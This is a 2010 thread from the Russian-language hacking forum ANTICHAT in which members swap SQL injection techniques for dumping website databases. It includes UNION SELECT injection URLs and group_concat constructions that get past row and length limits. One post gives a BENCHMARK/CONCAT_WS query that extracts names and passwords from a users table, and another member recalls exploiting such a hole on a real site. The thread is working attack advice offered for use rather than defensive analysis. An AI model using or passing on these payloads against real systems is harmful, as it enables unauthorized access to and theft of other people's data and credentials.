ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

15.03.2010, 23:31
|
|
Постоянный
Регистрация: 15.03.2008
Сообщений: 441
Провел на форуме: 2052341
Репутация:
95
|
|
CyberHunter, все что тебе может пригодиться(или почти все) всегда лежит в текущей бд, а текущую бд узнаешь в самом начале с помощью database()
|
|
|

15.03.2010, 23:38
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме: 6075534
Репутация:
2731
|
|
Сообщение от jecka3000
CyberHunter, все что тебе может пригодиться(или почти все) всегда лежит в текущей бд, а текущую бд узнаешь в самом начале с помощью database()
Откуда такая уверенность? Приведу пример (у меня біл реально такой случай). Был сайт, какие-то объявления. Здесь же была скуля. На этом же сайте же сайте был форум, таблицы которого находилась в отдельной БД, а в текущей - только таблички новостей.
Так что не факт, что на сайте используется только одна основная БД.
|
|
|

15.03.2010, 23:46
|
|
Участник форума
Регистрация: 07.03.2008
Сообщений: 141
Провел на форуме: 405538
Репутация:
23
|
|
От чего зависит, когда при иньекции скрипт начнет сливать всю информацию из таблицы, а когда - по одной строке(придется использовать лимиты)?
Для понятности вопроса имеем, к примеру, иньекцию с полем 2, которое выводится:
PHP код:
http://site.com/user.php?id=-1+UNION+SELECT+1,2,3--
При
PHP код:
http://site.com/user.php?id=-1+UNION+SELECT+1,username,3--
будет получена только 0 строка из таблицы. Чтобы получить остальные данные, придется использовать лимит, но выводится будет все равно только одна строка.
Есть ли способы во втором случае сливать более чем одну строку за запрос?
|
|
|

15.03.2010, 23:51
|
|
Участник форума
Регистрация: 25.11.2009
Сообщений: 201
Провел на форуме: 866555
Репутация:
226
|
|
Сообщение от Nek1t
От чего зависит, когда при иньекции скрипт начнет сливать всю информацию из таблицы, а когда - по одной строке(придется использовать лимиты)?
Для понятности вопроса имеем, к примеру, иньекцию с полем 2, которое выводится:
PHP код:
http://site.com/user.php?id=-1+UNION+SELECT+1,2,3--
При
PHP код:
http://site.com/user.php?id=-1+UNION+SELECT+1,username,3--
будет получена только 0 строка из таблицы. Чтобы получить остальные данные, придется использовать лимит, но выводится будет все равно только одна строка.
Есть ли способы во втором случае сливать более чем одну строку за запрос?
использовать group_concat(username)
А одна строка потому что в скрипте строка mysql_fetch_row не в цикле, а вызывается один раз
|
|
|

15.03.2010, 23:52
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме: 6075534
Репутация:
2731
|
|
Nek1t, да. Есть ф-ция group_concat, но её использование ненадежно, т.к. она имеет лимит вывода - 1000 символов.
|
|
|

15.03.2010, 23:55
|
|
Участник форума
Регистрация: 25.11.2009
Сообщений: 201
Провел на форуме: 866555
Репутация:
226
|
|
Сообщение от mailbrush
Nek1t, да. Есть ф-ция group_concat, но её использование ненадежно, т.к. она имеет лимит вывода - 1000 символов.
можно получать больше 1000 символов если использовать такою конструкцию
union+select+1,group_concat(username),3+from+table +where+username>'последнего полученного_значения'
т.к. результат сортируется по алфавиту
|
|
|

16.03.2010, 00:05
|
|
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме: 2223440
Репутация:
648
|
|
Сообщение от mailbrush
Nek1t, да. Есть ф-ция group_concat, но её использование ненадежно, т.к. она имеет лимит вывода - 1000 символов.
Можно всё одним запросом получить - читай эту тему.
|
|
|

16.03.2010, 00:12
|
|
Участник форума
Регистрация: 25.11.2009
Сообщений: 201
Провел на форуме: 866555
Репутация:
226
|
|
Сообщение от Root-access
Можно всё одним запросом получить - читай эту тему.
ИМХО самое нужное в той теме - это чтобы при просмотре таблиц не включать information_schema(ИМХО лучше всего получать таблицы вообще по базам) и то что выводится по алфавиту
|
|
|

16.03.2010, 01:50
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
Провел на форуме: 14023893
Репутация:
2163
|
|
Сообщение от Root-access
Можно всё одним запросом получить - читай эту тему.
кстати, group_concat тоже можно загнать в бенчмарк, теоретически база сдампится быстрее,
последний полный кейворд можно определять например так: (набросал схематически, возможны косяки):
@c:=substring(left(reverse(group_concat(table_name separator '@@')),locate('@@',reverse(group_concat(table_name separator '@@')))+2),1,locate('@@',left(reverse(group_concat (table_name separator '@@')),locate('@@',reverse(group_concat(table_name separator '@@')))+2)))
/add или коротко:
@a:=reverse(group_concat(user order by user separator '@@'))
@b:=locate('@@',@a)
@c:=left(@a,@b+2)
@d:=substring(@c,1,locate('@@',@c))
.. where user>@d
ИМХО самое нужное в той теме - это чтобы при просмотре таблиц не включать information_schema
where table_schema!='information_schema' в чем проблема 
__________________
Я так же грустен как орангутанг
Сидящей пред галдящею толпою
Суровый житель отогретых стран
Коварно преданный разлуке и покою
Ему и мне насмешница судьба
Дала для жизни крохотную клетку
Нам предстоит в ней долгоя хотьба
За тертую морковь, и за конфетку..
|
|
|

16.03.2010, 03:16
|
|
Участник форума
Регистрация: 07.03.2008
Сообщений: 141
Провел на форуме: 405538
Репутация:
23
|
|
SELECT @count:=1, @out:=' ', BENCHMARK(10, @out:=CONCAT(@out,'<br>',(SELECT CONCAT_WS(';',name,password,@count:=IFNULL(@count+ 1,@count)) FROM users WHERE id_user=@count LIMIT 0,1))), @out
Посмотрел, но не совсем уловил принцип. А если id_user вообще нет?
У меня вывод поля идет в заголовки, так что вывести всю таблицу скорее всего не удасться просто в принципе.
union+select+1,group_concat(username),3+from+table +where+username>'последнего полученного_значения'
Вот тут заминка: username>'последнего полученного_значения'
Это ничего не дало - записи выводятся так же с первой и до 1024 символа.
И то, что username - строковый параметр, не влияет на операцию сравнения?
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|